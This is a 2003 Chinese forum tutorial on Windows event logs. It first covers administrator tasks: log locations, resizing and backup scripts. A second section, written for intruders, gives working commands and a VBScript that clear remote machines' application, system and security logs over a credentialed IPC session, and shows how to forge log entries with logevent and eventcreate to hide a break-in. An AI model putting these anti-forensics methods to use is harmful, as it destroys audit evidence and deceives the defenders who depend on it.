|
論壇說明 | 標記討論區已讀 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2003-08-31, 08:13 PM | #1 |
榮譽會員
|
Windows日誌的保護與偽造
日誌對於系統安全的作用是顯而易見的,無論是網路管理員還是黑客都非常重視日誌,一個有經驗的管理員往往能夠迅速通過日誌瞭解到系統的安全效能,而一個聰明的黑客往往會在入侵成功 後迅速清除掉對自己不利的日誌。下面我們就來討論一下日誌的安全和新增問題。
一:概述: Windows 2000的系統日誌文件有應用程式日誌,安全日誌、系統日誌、DNS伺服器日誌等等,應用程式日誌、安全日誌、系統日誌、DNS日誌預設位置:%systemroot%\system32\config,預設文件大小512KB。 安全日誌文件:%systemroot%\system32\config\SecEvent.EVT 系統日誌文件:%systemroot%\system32\config\SysEvent.EVT 應用程式日誌文件:%systemroot%\system32\config\AppEvent.EVT 這些LOG文件在註冊表中的: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog有的管理員很可能將這些日誌重定位。其中EVENTLOG下面有很多的子表,裡面可查到以上日誌的定位目錄。 二:作為網路管理員: 1.日誌的安全配置: 預設的條件下,日誌的大小為512KB大小,如果超出則會報錯,並且不會再記錄任何日誌。所以首要工作是更改預設大小,具體方法:註冊表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog對應的每個日誌如系統,安全,應用程式等均有一個maxsize子鍵,修改即可。 下面給出一個來自微軟站點的一個指令碼,利用VMI來設定日誌最大25MB,並允許日誌自行覆蓋14天前的日誌: 該指令碼利用的是WMI對像, WMI(Windows Management Instrumentation)技術是微軟提供的Windows下的系統系統管理工具。通過該工具可以在本機或者管理客戶端系統中幾乎一切的信息。很多專業的網路系統管理工具都是關於WMI開發的。該工具在Win2000以及WinNT下是標準工具,在Win9X下是擴展安裝選項。所以以下的程式碼在2000以上均可執行成功。 strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate,(Security)}!\\" & _ strComputer & "\root\cimv2") \'獲得VMI對像 Set colLogFiles = objWMIService.ExecQuery _ ("Select * from Win32_NTEventLogFile") For each objLogfile in colLogFiles strLogFileName = objLogfile.Name Set wmiSWbemObject = GetObject _ ("winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _ & "Win32_NTEventlogFile.Name=\'" & strLogFileName & "\'") wmiSWbemObject.MaxFileSize = 2500000000 wmiSWbemObject.OverwriteOutdated = 14 wmiSWbemObject.Put_ Next 將上述指令碼用記事本儲存碟為vbs為後面的即可使用。 另外需要說明的是程式碼中的strComputer="."在Windows指令碼中的含義相當於localhost,如果要在遠端主機上執行程式碼,只需要把"."改動為主機名,當然首先得擁有對方主機的管理員權限並建立IPC連接.本文中的程式碼所出現的strComputer均可作如此改動。 2. 日誌的查詢與制作備份: 一個優秀的管理員是應該養成制作備份日誌的習慣,如果有條件的話還應該把日誌轉存到制作備份電腦上或直接轉儲到列印機上,在這裡推薦微軟的resourceKit工具箱中的dumpel.exe,他的常用方法: dumpel -f filename -s \\server -l log -f filename 輸出日誌的位置和檔案名 -s \\server 輸出遠端電腦日誌 -l log log 可選的為system,security,application,可能還有別的如DNS等. 如要把目標伺服器server上的系統日誌轉存為backupsystem.log可以用以下格式: dumpel \\server -l system -f backupsystem.log 再利用計劃工作可以實現定期制作備份系統日誌。 另外利用指令碼編程的VMI對象也可以輕而易舉的實現日誌制作備份: 下面給出制作備份application日誌的程式碼: backuplog.vbs strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate,(Backup)}!\\" & _ strComputer & "\root\cimv2") \'獲得 VMI對像 Set colLogFiles = objWMIService.ExecQuery _ ("Select * from Win32_NTEventLogFile where LogFileName=\'Application\'") \'獲取日誌對像中的應用程式日誌 For Each objLogfile in colLogFiles errBackupLog = objLogFile.BackupEventLog("f:\application.evt") \'將日誌制作備份為f:\application.evt If errBackupLog <> 0 Then Wscript.Echo "The Application event log could not be backed up." else Wscript.Echo "success backup log" End If Next 程序說明:如果制作備份成功將視窗提示:"success backup log" 否則提示:"The Application event log could not be backed up",此處制作備份的日誌為application 制作備份位置為f:\application.evt,可以自行修改,此處制作備份的格式為evt的原始格式,用記事本開啟則為亂碼,這一點他不如dumpel用得方便。 三:作為黑客 1、日至清除 一個入侵系統成功後的黑客第一件事便是清除日誌,如果以圖形界面遠端控制對方機器或是從終端登入進入,刪除日誌不是一件困難的事,由於日誌雖然也是作為一種服務執行,但不同於http,ftp這樣的服務,可以在指令行下先停止,再刪除,在m指令行下用net stop eventlog是不能停止的,所以有人認為在指令行下刪除日誌是很困難的,實際上不是這樣,下面介紹幾種方法: (1)借助第三方工具:如小榕的elsave.exe遠端清除system,applicaton,security的軟體,使用方法很簡單,首先利用獲得的管理員帳號與對方建立ipc會話,net use \\ip pass /user: user 然後指令行下:elsave -s \\ip -l application -C,這樣就刪除了安全日誌。 其實利用這個軟體還可以進行制作備份日誌,只要加一個參數 -f filename就可以了,在此不再詳述。 (2)利用指令碼編程中的VMI,也可以實現刪除日誌,首先獲得object對象,然後利用其clearEventLog()方法刪除日誌。來源碼: cleanevent.vbs strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate,(Backup)}!\\" & _ strComputer & "\root\cimv2") dim mylogs(3) mylogs(1)="application" mylogs(2)="system" mylogs(3)="security" for Each logs in mylogs Set colLogFiles = objWMIService.ExecQuery _ ("Select * from Win32_NTEventLogFile where LogFileName=\'"&logs&"\'") For Each objLogfile in colLogFiles objLogFile.ClearEventLog() Next next 在上面的程式碼中,建立一個陣列,為application,security,system如果還有其他日誌也可以加入陣列。 然後用一個for 循環,刪除陣列中的每一個元素,即各個日誌. 2、新增日誌: 刪除日誌後,任何一個有頭腦的管理員面對空空的日誌,馬上就會反應過來被入侵了,所以一個聰明的黑客的學會如何偽造日誌: (1)利用指令碼編程中的eventlog方法是創造日誌變得非常簡單;下面看一個程式碼 createlog.vbs set ws=wscript.createobject("Wscript.shell") ws.logevent 0 ,"write log success" \'新增一個成功執行日誌 這個程式碼很容易閱讀,首先獲得wscript的一個shell對象,然後利用shell對象的logevent方法 logevent的用法:logevent eventtype,"description" [,remote system] eventtype 為日誌類型,可以使用的如下:0 代表成功執行;1 執行出錯;2 警告;4 信息;8 成功審計;16 故障審計 所以上面程式碼中,把0改為1,2,4,8,16均可,引號下的為日誌描述。 這種方法寫的日誌有一個缺點,只能寫到應用程式日誌,而且日至來源只能為wsh,即Windows scripting host,所以不能起太多的隱蔽作用。 (2)微軟為了方便系統管理員和程序員,在xp下有個新的指令行工具,eventcreate.exe,利用它,新增日誌更加簡單。 eventcreate -s server -l logname -u username -p password -so source -t eventtype -id id -d description 含義:-s 為遠端主機新增日誌: -u 遠端主機的用戶名 -p 遠端主機的用戶密碼 -l 日誌;可以新增system和application 不能新增security日誌, -so 日誌來源,可以是任何日誌 -t 日誌類型 如information信息,error錯誤,warning 警告, -d 日誌描述,可以是任意語句 -id 自主日誌為1-1000之內 例如,我們要本機新增一個系統日誌,日至來源為admin,日誌類型是警告,描述為"this is a test",事件ID為500 可以用如下參數 eventcreate -l system -so administrator -t warning -d "this is a test" -id 500 這個工具不能新增安全日誌。至於如何新增安全日誌,希望大家能夠找到一個好方法! |
送花文章: 3,
|